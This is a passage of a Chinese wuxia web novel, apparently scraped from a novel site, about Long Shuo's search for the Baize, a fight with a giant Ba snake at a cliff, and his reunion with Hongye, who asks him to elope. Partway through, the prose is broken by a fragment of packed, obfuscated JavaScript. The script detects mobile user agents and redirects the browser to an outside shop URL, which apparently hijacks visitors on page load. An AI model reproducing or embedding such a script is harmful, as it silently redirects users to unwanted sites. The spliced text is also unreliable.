傅梁安慰道:“啊,它没事,我们已经放它走了!” 龙烁一惊,停下了脚步,问道:“什么,真是那只兔子告诉你们的?” 关武见龙烁如此惊讶,不明所以,点头道:“是的,一个时辰前,我们猎到了一只又大又肥的兔子想当晚餐,没想到这兔子会说人话,而且知道我们是来找白泽的,它告诉我们白泽的住处求我们饶它一命!” “哼!”龙烁愤愤道:“你们当时真该炖了它——” “为什么?”,傅梁问道。 “它嘴里根本没有一句实话——” 龙烁暗想那兔子若是被他们炖了,后面也就不会来冤枉我了! 小狌狌听到它朋友没事,这才放下心来。 龙烁忙问道:“它到底是怎么跟你们说的?” 张全亮道:“龙少侠,那兔子说白泽住在一个山谷里,让我们直接顺着山道往西走二十三里地就到了,我们走了十五六里地就遇上了这片沼泽,前面七八里恰好有个山谷,所以我们断定白泽就在那里!” “呵!” 小狌狌发出了它独特的嘲笑之声。 龙烁暗想这小狌狌坏的很,明明知道其中玄机却是不说,刚才我喂九尾狐吃桃儿险些丧命,也算得是拜它所赐。 净心道:“飞飞,你现在定然知道那白泽究竟在哪啦!” “嗯啊!”,小狌狌神气地点点头。 “那你快说——”,净心催促道。 “哈,我不说!你们刚才不是还要赶我走吗?怎么又来问我!”,飞飞得意一笑,指着龙烁道:“龙小子求我我才说,他不求我我才不说,嘿嘿!” 龙烁冷笑一声,心中暗想:“让我求你?门也没有!” 他灵机一动,高声说道:“啊,我知道白泽在哪里了,咱们走吧——” 众人见龙烁转身向东走去,都大感莫名其妙。 张全亮道:“龙少侠,你走错方向了!” 小狌狌三步并作两步跟上来笑嘻嘻地道:“龙小子果然聪明,竟然猜出了白泽在哪!” 龙烁其实并未完全猜出,他这么做只是想套套它的话。 他从那讹兽的语言习惯推测出,这兔子有点爱说反话,所以山谷应该不是山谷,可能是什么山坡或山丘,二十三里也可能不是二十三里,说不定是十二三里或者三十二里。 他姑且先按十二三里理解,那么从玉龙帮的人遇到讹兽的地方再往东走十二三里才对,刚才玉龙帮的兄弟已经走了十五六里路到这里,加起来将近三十里,于是试探着说道:“对呀,往东走三十里左右就是了!” “哎呀,你真聪明啊,竟然猜出了二十三里其实是三十二里!” 龙烁是按照十二三里再加他们反向而行的十五六里推测的,小狌狌则以为他直接断定是三十二里。 龙烁见歪打正着,不禁心中暗喜,果然便是三十二里。 他暗想:“飞飞没算那些人已经走过的十几里路,如此算来,此地往东再走将近五十里才对!我和沐阳公子一路从东面而来,此地往东五十里似乎是我二人此前路过的那一处山崖——” 谜底已经揭晓,龙烁发现小狌狌倒也并非有意刁难,提醒道:“已经过了三更天了,你还不回去?” “哎呀妈呀,真的吗?” 小狌狌一蹦三尺高,像是踩到钉子一样蹦蹦跳跳地原地转了几个圈。 “是呀,我刚才不就提醒你回去啦!” “完了完了,这回定然逃不了我女朋友们的一顿毒打啦,我走啦,我走啦!” 小狌狌跑出一里地时又回头提醒道:“小贝说那个地方很危险,你们小心一点哦!拜拜喽!” 龙烁觉得那小狌狌虽然说话很不讨人喜欢,心地却还算善良,于是大声喊道:“飞飞——谢谢你啦!” 然而,小狌狌已经跑远,它根本没有听见。 龙烁远远地看着它的身躯在火光的照耀下慢慢缩成一个小小的黑影,随即没入草丛之中不见了踪影。 他转身朝张全亮说道:“张帮主,不好意思,我们怕是不能与你们同行了!” “为什么?” “实不相瞒,我和沐阳公子来到万兽山不是来打猎的,而是来找人的!我们一路从东面而来,未能找到,所以须得继续向西边寻找!你们由此往东走五十里路,那里有一处山崖,白泽应该就在那里!飞飞说那里很危险,请你们务必注意安全!” 傅梁指着西方说道:“不是啊,那兔子说白泽是住在那片山谷之中!” 龙烁道:“各位有所不知,那兔子是只讹兽,精通骗人之术,我们已经吃过它的亏了!倘若你们按照它所指的方向去寻找,只会越走越远,绝不可能找到!” 张全亮思索片刻,说道:“龙少侠,我信你,既是如此,咱们山下再见!” “好!”,龙烁转身道:“净心,不如你与玉龙帮的朋友同行,助他们一臂之力?” 他朝净心使个眼色,意思是说“我只能帮你到这里了” 他心知净心来此地的目的是阻止众人抓到白泽,猎奇之争既然提前结束,大部分英雄都已经下了山,应该不会再有别人知道那白泽的所在了,那么净心随他们一起,也可以设法从中阻挠。 净心双手合十道:“龙大哥,我随你们西行!” “什么?你不去寻找白泽了?”,龙烁道。 “嗯!玉龙帮的众位英雄坦荡仁义,武功又好,我相信他们一定没问题!” 龙烁明白净心所说的“一定没问题”是一语双关,一是指他们一定能够找到白泽,二是说即使抓住白泽获得了谢宗主的困兽网奖励,也定会锄奸扶弱,惩恶扬善,不会用来作恶! 净心朝东面行出几步,尝试施展矩纸穿行术,竟真的又在空中撕开了一个口子,感叹到:“龙大哥,你的龙胆顺气丸果然奏效——” 他向里面望了望,朝玉龙帮的人说道:“此洞直通龙大哥刚才所说的那处山崖,你们从这里走可省去赶路的时间!” 张全亮和帮中兄弟感激万分,与他三人拱手道别 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“啊,我是在书中看到的,不过纸上得来终觉浅,绝知此事要躬行,这话说得一点不错,实际情况与我想象的大不相同,那沼泽的陷力竟如此巨大!”,龙烁叹气道:“如果没有沐阳公子你和净心在这里,恐怕以我一人之力,根本没法救得玉龙帮的人上岸啊!” 龙烁这么说,还是在恭维燕沐阳的武功术法高强,而燕沐阳却并不在意。 “我今日方知,你家的锥风术法,若是练好,威力比我家的寒冰术还大,你为何不练?” “我——”,龙烁叹一口气,说道:“术到用时方恨少,我现在也悔不当初啊,不过就算我好好练习,也达不到刚才的那般风力——” 燕沐阳摇头道:“以你的悟性,只要潜心修习,迟早可成——” “那不是的,沐阳公子你有所不知,我家这锥风术法的心法口诀和运气的法门不是难点,难点在于内力的提升,我虽然也觉得自己不算笨,但是要练就像你一样上乘的内力可不是一朝一夕的事情,就算我日日夜夜毫不间断地练习,也得需要几十年呢,我父亲修习了一辈子,到现在也只达到了六品的风力——” 燕沐阳微微摇头,还欲辩驳,却见净心追上来说道:“龙大哥,沐阳公子,你们怎么走得这么慢!这样走我看半个时辰也到不了那深谷,要不要我再使用矩纸穿行术法?” “我们只为找人,去不去深谷倒也不打紧!” 龙烁见净心两手空空,不见了齐眉棍,问道:“你的齐眉棍哪去啦?” “啊,我将它放回了寺院,需要用的时候再拿出来!” 龙烁大竖拇指。 净心笑道:“龙大哥,你们要找的是谁,我可以帮你们找!” “我们要找一个身穿红衣的少女,她叫南宫红叶,你之前在山中可曾见过?” 净心摇头道:“蓝衣紫衣绿衣白衣女子我都见过,就是没有见过穿着红衣的啊!” 龙烁无奈叹一口气,引着三人继续西行。 走出三四里路,这块平地便已到尽头。 再往前又是古树盘桓的茂密山林,好三人再未遇到什么凶猛野兽,一路上倒也畅通无阻。 净心问道:“龙大哥,沐阳公子,你们说那万兽山的守护者到底是什么生物?” 龙烁道:“这个,连飞飞都没有见过,别人又怎么会知道?不过我想,那一定是十分凶恶的猛兽!” 净心点头道:“龙大哥,我听你说在书中读到过白泽的故事,那么书中可曾提到关于守护者的事情?” “这倒没有!” “噢!”,净心思索片刻,又问道:“那书中还记录了哪些凶猛的上古神兽呢?” “哇,那可多啦!”,龙烁来了兴致,说道:“今日咱们见到的火鸟毕方就是其中之一!凶猛的上古神兽还有饕餮、混沌、穷奇、修蛇——”,龙烁顿了一下,转头朝燕沐阳解释道:“修蛇就是咱们之前说过的巴蛇!” 他又继续向净心道:“好在万兽山中没有这些吃人的猛兽,但是我们在山中确实也见到了一些其他的凶兽,比如土蝼,麒麟,英招等等,这些猛兽在书中均有记载,虽然它们的外表与书中描述的不完全一致,性子却都野得很呢!” “土蝼?那是什么?”,净心奇道。 “就是一只长着四只犄角的山羊,你别看它长得温顺,凶起来可会吃人呢!” “啊,我见过!”,净心一拍脑门,想起之前误入万兽山时的经历,说道:“上次我来的时候就遇到一只长着四只犄角的白山羊想来吃我,我还纳闷呢,羊不是吃素嘛?那白山羊似是铁了心地要吃我,不断冲我面门袭击,还好我急中生智,使出矩纸穿行术法将它引到别处这才躲过一劫,当时事发突然,我也没有掌握好力度,似乎还将它引出了万兽山!” “什么?”,龙烁一惊,问道:“你将它引出了万兽山?这山中的猛兽是不能出山的你不知道吗?” 净心叹了一口气,说道:“我当时根本不知道自己在什么地方,那山羊袭击我时可把我吓坏啦,我哪还顾得上这许多,当时只想着把它弄得越远越好,保命要紧呐!” “那后来呢,你出山后找到它了吗,把它送回来没有?” “我曾找了几天没有找到!不知是不是已被猎杀了!” 龙烁点头道:“这土蝼喜好吃人,出山之后必会滋生事端,可能现下真的已被猎杀了也说不定!” 22.深谷悬崖 三人又行了半炷香的时间,远远地听见前方有水声传来。走至近前,发现这里竞是一处悬崖峭壁,东首一个巨大的瀑布悬挂其上,水流湍急直泻崖底,月光照耀下,宛似一块银白的帷幔荡在山前。 龙烁登上一块黑色大石向下观望,下面漆黑一片深不见底,只听到翻滚沸腾的水流之声从下面传来,暗觉崖底定是有一汪深潭。 他捡起脚边的碎石向下抛去,过了好一阵子才听到碎石入水的声音,龙烁估摸着这山崖至少高达千丈。 他抬头向对面望去,崖壁的另一侧离他们竟有七八丈远,不禁暗暗心惊,疑惑道:“我们已经走了七八里路,这里怎么有一个瀑布,莫非去那深谷需要先蹚过这个瀑布?” 忽然间,一只银白色的蝴蝶从山崖下面翩然飞出,在几人面前盘旋了一圈。 龙烁瞪大眼睛抬头观望,紧接着又有几只蝴蝶飞来,其中两只围绕龙烁上下飞舞,其余的蝴蝶似是被燕沐阳身上的清冷香气吸引,竟直接落到了他的头上、肩上和手上。 这些蝴蝶像萤火虫一样,周身散发着银白色的光芒,将方圆十丈之地照得如同白昼。 净心奇道:“好漂亮的蝴蝶!” “这是冰蝶!”,龙烁惊喜道:“原来在这山崖下面也生活着许多这种蝴蝶啊!” 他心中盘算着怎么把这些冰蝶抓住,等找到红叶后交与她驯养,这样她就会有更多的蝴蝶做伴了! 他摊开双手想让冰蝶也停留在自己的手上,然而却没有一只冰蝶落下,不禁面色一沉,悻悻道:“怎么还区别对待啊,蝴蝶也这么势利眼吗,你们是巴结武功术法好的,还是长得好看的?” 他转念一想,自己与燕沐阳相比,这两方面好像都不占上风,顿时萎靡不振! 燕沐阳没有理会停留在自己身上的冰蝶,他四下观望,微微皱眉道:“这里,眼熟!” 龙烁仔细一瞧,忽然一惊,暗想:“这山林,这崖壁,这水声,这碎石,还有周围所有的景致似是与我三人先前路过的那处山崖一模一样!只是当时我们处在水流的下游,只听到轰鸣的水声从东边传来,而那轰鸣的水声除了比这瀑布的声音弱了一些以外,其他地方没有任何不同,莫非之前那声音竟是从这瀑布传来的?” 他转念一想又觉不对,那山崖在东面,而我三人一路西而行,又怎么会折返回去呢? 他喃喃道:“是有点眼熟,地势很像咱们傍晚路过的那处山崖,只是这里有一个巨大的瀑布,景致更加优美一些!” 他眼光瞟向净心。 净心眼光微微闪动,说道:“是啊,龙大哥,这里景色甚是优美,只是山路被断,咱们应该怎么过去呢?” 龙烁未及答话,却听周围脚步声起,四下里忽然蹿出七八个彪形大汉将他三人包围起来。 各人手中均握着大刀,为首的一人身材伟岸,满面虬髯,龙烁定睛一看,正是李元彪! 原来是党项族的那群汉子! 冰蝶被这些不速之客吓得四散而飞,不一会儿便都隐匿了身形,周围又变成了黑漆漆的一片! 李元彪冲龙烁嘴巴一咧,似笑非笑,用他那呼噜噜如野兽般的嗓音说道:“小子,咱们,又见面了!你们果然,要与我们,争夺猎物!” “啊?争夺什么猎物?白泽吗?你们怎么还没下山?” 龙烁环视这群党项族人,暗想他们本来有十来个人,现下只来了八人,莫非他们也受到了猛兽的袭击,折损了几名同伴。 净心不知何时已将齐眉棍取来负在背后,他指着李元彪喊道:“你别胡说,你们要找的是巴蛇,我龙大哥和沐阳公子要找的是人,又怎么会跟你们争夺猎物!” 那刀疤老者提刀挡在李元彪身前道:“你,你们还不承认么?这怪物已经被你们杀了吗?”,他说着捡起一块石头往龙烁脚底掷去。 石头并没有打中龙烁,而是在他身旁重重落下。 声音响亮,引起山崖里的阵阵回响。 忽然间,龙烁感觉脚底剧烈震动起来。 只听轰隆隆一阵巨响,脚底这块黑色大石竟开始一点一点地逐渐上升,掀起旁边无数的碎石哗啦啦地向深潭坠去。 龙烁不明所以,向下望去。 然而视线被黑石遮挡,看不到石头下面到底发生了什么,只发现众人正惊恐地盯着自己谁也不敢动。 他又向后望去,身后便是深不见底的悬崖,顿时紧张起来,大喊道:“怎么回事?” 净心叫道:“龙大哥,你脚下的不是石头,是巴蛇,你站到了它的头上——” 龙烁脑瓜嗡地一响,半天没反应过来。 待到稍稍平复下心情后,龙烁发现前方两条胳膊粗细的长舌正在不断地上下翻动。 原来那是巨蛇在吐信子。 “糟糕,我被它发现了——”,龙烁暗想。 果然,黑色巨石开始剧烈晃动起来,龙烁脚跟站立不稳忽地摔倒在巨蛇头上,他双手紧紧扒住巨蛇粗糙的皮肤,整个身子随着蛇头在空中摇摆。 净心见李元彪的手下挥舞着大刀向那巨蛇的身上猛砍,刀刃碰到鳞片时发出耀眼的火花,然而这根本无济于事,它的鳞片只是被划出了几条浅浅的刮痕,如同挠痒痒一样,那巨蛇丝毫没有感到疼痛,唯一的作用却是更加激怒了它。 那巨蛇头部猛力一晃,随着一声惨叫,龙烁整个人便被甩出,直直地向悬崖中坠去。 坠落途中,龙烁猛一回头,却见那巨蛇头部迅速下探,直冲前面的人群横扫过去,所有人包括净心在内都被撂了一个跟头摔倒在地。 视线逐渐被崖壁遮挡,龙烁加速向崖底的深潭落去。 他一瞥眼间,竟发现那巨蛇通体乌黑锃亮,鳞片似盔甲一般坚硬无比,蛇身像粗树干一样贴在悬崖侧壁慢慢向上蠕动,整个蛇身长近十丈,不禁心中骇然,暗想这定是巴蛇无疑。 山风呼啸,龙烁的衣服被吹得四下翻飞,劲风如刀,将他的耳朵刮得火辣辣地疼。 他不住催动锥风术,想着如果能使出哪怕三品的风力也能够极大减缓下坠的速度,然而不管他再怎么努力,仍只是发出一品的风力。每次他推出掌风,整个身子只是稍稍减缓一点便又快速向下坠去。 燕沐阳躲过蛇头的袭击,纵身一跃,贴着巨蛇的身子向下滑去。 黑暗中,龙烁见燕沐阳如同一只雪白的仙鹤一般顺着蛇身快速朝自己逼近,不禁心中一惊,他暗觉自己下降的速度越来越快,恐怕燕沐阳未必能追上! 果然,片刻之后,两人的距离越拉越大,龙烁心下暗暗叫苦不迭:“本来是我一个人摔死,现在你又来一起殉葬,又有什么好处?” 两人在空中不住下坠,燕沐阳发现龙烁离自己越来越远,只得催动寒冰术化出一柄圆月弯钩,伸手一勾,勾住了巨蛇鳞片之间的缝隙。 他双脚在巨蛇的身子上用力一点,整个人便即向上飞去。 燕沐阳回到崖顶后立即催动寒冰术去救其他人,与那大蛇拼杀起来。 见此情状,龙烁心中有说不出的感觉,他既高兴又失落,高兴的是燕沐阳竟然深谙尽人事听天命的道理,他见追我不上便直接放弃了,果然够理智够果断!失落的是自己躲过了乱石袭击,避开了野兽吞食,却终究还是难逃一死! “想来我自己技不如人又有什么话说,也算是死有余辜!”,龙烁叹道。 耳边劲风呼啸,周围越来越黑,眼看自己离众人渐渐远去,似是在演绎一场生死离别,龙烁心中一酸,眼角兀自流出来一滴眼泪。 他在空中打了一个挺,翻过身子面向崖底继续坠落,忽见下面十几丈处有几只冰蝶朝着自己快速飞来。 片刻之后,龙烁感到手腕、脚脖和腰间突然被一股大力猛力拉拽,整个身子顿时形成一个“大”字荡在空中。 随即,这个“大”字在冰蝶蚕丝的牵引下缓缓升起,直冲崖顶飞去。 龙烁大感惊奇,暗想莫非这些冰蝶知道我是燕沐阳的朋友,然后爱屋及乌,在我危难时刻跑来助我一臂之力? 正自思索间,冰蝶已然载着他回到了崖顶。 巨蛇仍在疯狂摆动,撞得林中树木一棵接一棵地轰然倒塌。 燕沐阳和净心躲闪的同时,相互配合着东蹿西跳地分散那巨蛇的注意力。 李元彪和他的族人挥舞着大刀在蛇身上乱砍乱削。 忽然间,数支雕翎羽箭从西北方向激射而来,羽箭碰到那巨蛇的坚硬鳞片后径自斜飞出去,在它身上留下了数道划痕。 龙烁猛一转头,但见远处一个蓝衣少年正朝这边疾奔,同时不停地弯弓搭箭快速射击,惊讶道:“怎么谢灵雨也到了这里!” 冰蝶携着龙烁在众人头顶上方掠过,经过燕沐阳的头顶时仍不落下。 眼看自己又离众人越来越远,龙烁忙喊道:“冰蝶朋友,请你们快放我下来!” 然而,这群冰蝶似是根本听不懂他在喊什么,只是径自北飞。 龙烁急忙转头朝燕沐阳道:“沐阳公子,快来救我!” 燕沐阳眼光微扫,见龙烁在半空中不住挣扎,正被一群冰蝶载着往北面的树林飞去,微微点头说道:“好!” 然而他说完这个“好”字,却头也不回,径自转身去攻击巨蛇了。 龙烁大感莫名其妙道:“燕沐阳,你什么意思,你倒是快过来救我啊——” 然而此时无论他再怎么喊叫,燕沐阳却是全然不理会,其他人虽有心救他却都自顾不暇,只得眼巴巴地看着他离众人远去。 片刻之后,龙烁已听不到人们的喊叫之声。 “冰蝶朋友,你们要带我去哪?快放我下来啊!” 龙烁忽感手脚一松,整个身子顿时从半空中重重跌落下来。 屁股被摔成了八瓣,他正哎呦哎呦地大叫着,忽听一个少女的声音从远处传来,他侧耳倾听,那少女喊得竟是:“龙烁哥哥——” 龙烁猛一回头,却见一个红衣少女从黑暗中快速期近,大喊道:“红叶,是你吗?” 那少女直奔至龙烁近前,蹲下身来道:“你看看是我不是,龙烁哥哥,你没事吧?” 龙烁见她换了装扮,头上戴着簪花,嘴上涂着唇脂,衣襟虽然略有不同却仍是鲜红如火,整个人看起来明艳了许多。 他惊喜已极,忘记了疼痛,霍地站起身来将红叶抱在怀中说道:“我没事,红叶,我终于找到你啦!” 红叶没有答话,在龙烁的怀中扭动几下,想要挣脱他的怀抱却是不成,低声叫道:“龙烁哥哥——” 龙烁低头一看,见红叶脸颊通红、神态忸怩,疑惑道:“你怎么了红叶?” “龙烁哥哥,你,你放开我——” 龙烁连忙松开双臂道:“啊,对不起红叶,我在这里等了你两天,几经生死,以为可能再也见不到你了,没想到竟然在这里遇到了你,我一时情难自禁,过于莽撞了,你别害怕!” 红叶背过身去道:“没——我没害怕!” “红叶,你怎么会在这里?你是什么时候到这的?” 红叶定了定神,说道:“我是今早骑马赶来的,半个时辰前才到万兽山,途中换乘了四匹快马呢!哼,刚才我遇到谢灵雨,他说你已经下了山,非要带我下山!幸好我的冰蝶找到了你,它们告诉我你在这里,于是我就追过来啦!” “噢!原来那群冰蝶是你带来的!”,龙烁恍然大悟:“我还以为那崖底也生活着许多这种冰蝶呢!” “怎么可能,我的冰蝶没人照顾很难存活,养好它们需要花费很多心血的,不过那也是值得,我入山仅半个时辰,它们就帮我找到你啦,厉不厉害?” “厉害,厉害!”,龙烁点头道:“那你为什么这么晚才赶来,是不是中途遇到了什么危险?” 红叶脸色微嗔,开始述说起她这几天的经历:“那日我被母亲带回家中锁了起来,她要我在结婚之前不能再出来,还跟我解释一番为什么一定要我嫁给谢灵雨,她说那是因为我们南宫家需要借助谢氏宗族来壮大势力,将来才能更好地在江湖上立足!当天晚上我并没有答应,想着第二日趁着爹爹和母亲带着大伙去祭祖的时候再想办法溜出来找你。哪知道母亲早已经猜到了我的打算,他们就把我一直锁在家中,留我哥哥在家里盯着我,根本就没带我去祭祖!” 红叶转嗔为喜道:“本来我已经全没了主意,担心猎奇之争结束之前没办法出来找你了!嘿嘿,哪知天无绝人之路,你猜怎么着,今日一早,我那个傻哥哥来看我来啦,他问我是不是又惹母亲生气了,我说不是,母亲只是要我好好练习乱真易容术法,我要他把门锁破开放我出来,他却死活不肯,于是我就想了个主意骗他进来,我知道他一直也想学乱真易容术,于是我说反正闲着也是闲着,不如进来一起练习乱真易容术法消磨时光。这术法我母亲从不教别人,也不许我教给别人。我那个傻哥哥竟然知道我在骗他,无论如何不肯进来。于是我就在门内背诵心法口诀和运气的法门,他就在门外听着默默练习,嘿嘿,他哪知道这术必须当面传授,口诀、动作和运气的法门须得配得无比完美才能有效果,哪一句口诀配着哪一个动作以及如何运气都有讲究,微微错一点也不行。于是他就上当啦,呵呵,他将房门打开后,我就躲在门后突然跳出来点了他的昏睡穴,然后跑来找你啦,龙烁哥哥,你说我聪不聪明?” “那是当然!我红叶妹子不但聪明伶俐,而且美丽大方,是百年难得一见的好姑娘——” 龙烁微微一笑,暗想红叶不但聪明机敏而且古灵精怪惹人怜爱,他竖起大拇指道:“你用冰蝶蚕丝在红巾上给我留言,要我来万兽山等你,这招更是聪明,你到底是什么时候把红巾放进灯笼缝的?” 红叶捂嘴偷笑,说道:“那日你开门的时候吓得叫出了声,你还记得吗?我立时就知道是我娘来了,枫林是没那么大的胆子来叫门的!哼,我娘可不是好对付的,她亲自前来一定是来带我回家的!当时事态紧急,我身边也没有笔墨,只好撕下一片衣襟,用这冰蝶蚕丝应付着给你留个讯息啦!” “可是万一我没有发现里面的内容,到时就会让你空等了,你就不担心?” “龙烁哥哥你那么聪明,我相信你一定会找到方法弄明白我留给你的方巾到底是什么意思的!不过就算你真的没有发现,我相信你还是会来这万兽山的,所以我一点也不担心!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239470|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 红叶抿嘴一笑,说道:“呐,你不是身上没有银子啦,这个给你——” 她右手一扬,扔给龙烁一只拳头大小的红色钱袋,上面绣着两只冰蝶,红白相间甚是好看。 钱袋被装得鼓鼓的,龙烁一掂量,少说也有五十两银子,嘿嘿笑道:“谢谢啊,原来你还记着,回头还你!那个,你就那么确定我一定会来万兽山?” “对呀!” “为什么?” “因为我知道你跟我一样,都有猎奇之心啊,所以我认为你一定会来,我说得对吗龙烁哥哥?” 龙烁心中暗道:“这你可想错了,我若是没有发现你的留言,自己恐怕是不会孤身前来此地冒险的,这可能就是男子与女子的区别吧,大部分女子较为感性,而男子却更为理性。万兽山这么危险我本是不想来的,好在我发现了你的留言,又遇到了沐阳公子,有他的保护我才敢大着胆子进来啦!” 他暗自摇头苦笑道:“红叶,你莫不是把我当成了一夫当关万夫莫开的英雄好汉了吧?难道你不知道我武功术法低微,而且胆子也很小嘛?” “呵呵,你是什么样的人恐怕连你自己也不知道呢!”,红叶微微一笑,说道:“不过就算你真的因为什么原因来不了,我也不担心,我们南宫家的蛊灵之术就有这个好处,所有的冰蝶都是我的朋友,也是我的眼线,嘿嘿,它们很快就会帮我找到你的!” “噢对啦!”,说到找人,龙烁赶忙问道:“红叶,你听说过上官悦这个人吗?” 红叶摇头道:“没有啊,那是谁?” “不知道,我的朋友要找他,能麻烦你的冰蝶朋友帮我去找找吗?” “当然没问题,他是男是女?长什么样子?” “不知道,只知道他的名字!” 红叶吹一声口哨,召唤来了两只冰蝶,跟它们说了几句听不懂的言语后,那两只冰蝶便径自飞去。 龙烁道:“红叶,这万兽山里竟是吃人的猛兽,太危险了,真难为你一个女孩子孤身前来找我了!” 红叶点头道:“以前的猎奇之争没有那么多的珍奇异兽出现,这次不知为何,怪事频出,刚才谢灵雨说山中猛兽开始集体攻击人类,这可把我吓坏了,我很担心你会不会遇到危险,老天保佑,你没事真是太好啦!” 提起谢灵雨,龙烁赶忙说道:“啊对,红叶,快走,他们还在与巨蛇拼杀——”,他说着便欲拉起红叶的衣袖往南跑。 红叶拦住龙烁道:“龙烁哥哥,难道你还要过去?咱们还是快走吧!” “不行,我兄弟还在那里呢!” “什么兄弟?你的亲人?” “不是,你走之后,又发生了许多事,说来话长,我日后再跟你解释,总之那边有我新结识的两位好兄弟,我需尽快赶回去相助!” “你我武功术法低微,去了也帮不上什么的,谢灵雨都说我会连累他,叫我在这待着,我看你过去也是一样,会被他们嫌弃的——” 闻声,龙烁停住脚步,暗想这谢灵雨果然想得周到,他怕红叶受伤,叫她在此等候,自己前去救人,红叶的母亲说得对,谢灵雨对红叶的关怀细致入微,红叶嫁给他一定不会受委屈。 他转念一想,莫非沐阳公子有意保护我,所以刚才对我置之不理? “既然如此,红叶,你先在这里等候,我过去看看,等他们把巨蛇打跑我们就过来找你,你别乱跑啊——”,龙烁说着转身疾奔。 红叶拽住龙烁的衣袖说道:“等等——龙烁哥哥——我害怕!” “怕什么?”,龙烁回身安慰道:“不用怕,有我在——” “嗯!” 红叶明知他若是回去的话自身都难保,更别说保护自己了,但是听到他真心实意的关爱之言,恐惧之感顿时消去了一大半。 她情难自已,一头撞进了龙烁的怀里。 二人相拥片刻,龙烁道:“要不咱们一起过去吧,走——” 闻声,红叶忙去拉他衣袖,竟然拉他不动反被他拖着前行几步,急道:“不要,龙烁哥哥,我跟你说,我这次来是想——是想跟你私奔的——” 龙烁一惊,转身问道:“你说什么?” 红叶脸颊一红,定了定神,鼓起勇气说道:“这次母亲不是跟我开玩笑,他们已经帮我定下了婚期,猎奇之争结束后,我便要出嫁啦!龙烁哥哥,咱们赶紧离开这里,从此以后我跟着你,咱们一起远走高飞,好吗?” 龙烁一呆,全没想到自己跟红叶姑娘只相处短短几天,她竟对自己钟情到如此地步,看不出这个柔弱乖巧的小姑娘,竟为了我做出如此大胆的决定。 他心中暗想:“起初我对她也是非常有好感的,即使从她母亲口中得知她已经被许配给了别人也依然没有放弃希望,然而,当我在会宾场见到谢灵雨那仪表堂堂的模样,又在沼泽地遇险时被其救下之后,发现这人不仅箭法卓绝,而且侠肝义胆,他与红叶的确是郎才女貌门当户对。我虽出身名门,却武功术法不济,在她的母亲眼中,我绝非红叶姑娘的良配!谢灵雨是我和沐阳公子的救命恩人,他既对红叶一往情深,我更不能横刀夺爱,于是便彻底放弃了心中念想!现下我全把她当妹妹来看待,而她此时竟然想跟我私奔——” 龙烁看看红叶,见她脸颊通红,目光炙热,正期待着自己肯定的回答,他又想到燕沐阳和净心他们此时还在那里与巨蛇殊死搏斗,危险至极,一时间没了主意,怔怔地愣在了原地。 红叶急道:“龙烁哥哥,你,你到底愿不愿意?” 龙烁感到红叶是在迫使自己在她和兄弟之间做一个选择,他虽无心与她私奔,却也不想使她伤心难过,心中为难,嗫嚅道:“这,我——” 眼见龙烁的目光连连躲闪,红叶暗想原来他并不像自己喜欢他那样喜欢自己,眼眶里顿时泛起泪花,轻声叹道:“龙烁哥哥,原来你,并不喜欢我!” “不是,红叶,我对你的情感一时间也很难说得清楚,日后我再跟你解释!” 他心系兄弟安危,抚着红叶的胳膊劝道:“现下危难时刻,我不能不管我兄弟的死活——” 红叶反手拉住龙烁问道:“龙烁哥哥,若是我嫁给了谢灵雨,你会难过吗?” 龙烁一呆,暗觉这个问题他从未想过,倘若真的让自己亲眼看着红叶妹子穿上艳丽的凤冠霞帔去嫁给谢灵雨,心中必是无比惆怅,于是他毫不犹豫地说道:“会!” 眼见红叶眼泛泪花面露微笑,龙烁大感后悔不已,不住责怪自己说话太也不经大脑,暗想自己既然无意与她相好,又何必再给她多留念想,赶忙又解释道:“你这么灵俏可爱,任哪个男子都会难过的!” “别人如何我全不在意,我只要知道龙烁哥哥你的心意!我爹爹妈妈硬要逼着我嫁人,我再最后问你一次,你到底,愿不愿意带我离开这里?” 龙烁发现无论如何也不好和她解释,而沐阳公子他们还在龙潭虎穴之中,心中愈发焦急,他挣开红叶的双手劝说道:“此事咱们日后再议,红叶你先在这里等我,哪也不要去,等我回来再说——” 没等她回答,龙烁已经迅速向南奔去,留她一个人在那里呆呆地愣在原地。 23.奉书而至 龙烁一路狂奔,不一会儿功夫便来到刚才的那处悬崖,然而此时众人踪影全无,周围只剩下一片狼藉,残枝断木横七竖八地倒了一地,上面还有尚未干透的血渍。 龙烁心中暗自惊惧,不知是谁受了伤! 他东张西望,想依着众人打斗的痕迹追寻,然而只寻了半炷香的功夫,众人打斗的痕迹却逐渐消失不见了。 忽然被什么东西绊了一下,龙烁低头一看,乱石堆中竟有两具血肉模糊的尸体。 他赶忙蹲下来查看,发现这二人一个被拦腰咬断身体,另一个没了头骨和四肢,死相十分可怖。 他们的衣着服饰,是党项族人! 他心下恐慌,大声喊道:“沐阳公子,净心,你们在哪里?” 忽然间,两只冰蝶从草丛中一闪而出,在龙烁面前上下翻飞。 龙烁又惊又喜,暗想既然冰蝶能够不费吹灰之力地找到我,那么也可以轻而易举地找到沐阳公子他们! 他连忙喊道:“冰蝶朋友,刚才在这里打斗的那些人,他们去了哪里,你们知道吗?” 半晌,两只蝴蝶仍然只是盘环交错地上下翻飞,似在嬉戏打闹,根本没有理会。 龙烁不禁摇头苦笑道:“我真是病急乱投医,你们根本听不懂我说的话!” 正自踌躇之间,忽听背后一个少女的声音说道:“它们能听懂我说的话!” 龙烁一惊,转身训斥道:“红叶,你怎么不听话,我不是让你——” “龙烁哥哥——”,红叶微微一笑,说道:“我知道你不想我跟你一起去冒险,只是你把我独自一人留在那里反而更加危险,不是吗?” 龙烁一怔,猛拍自己脑门,说道:“哎呦,你说得对,我这脑子,真是被驴踢了,怎么会想着把你一个人留在那里,这里是万兽山啊!” 红叶嘻嘻一笑,说道:“龙烁哥哥,你不用自责,你是为我好,我都明白的!” 一股暖意涌上心头,龙烁暗觉红叶既明事理又善解人意,真是一个好姑娘。 他发现红叶眼睛略微红肿,问道:“你的眼睛怎么了?” “啊,刚刚进了沙子,已经没事了!” 红叶迅速转身,朝两只冰蝶吹了一声口哨,冰蝶便欢快地飞来,分别在她耳朵两旁盘旋飞舞,半天仍不停歇,似有说不完的话。 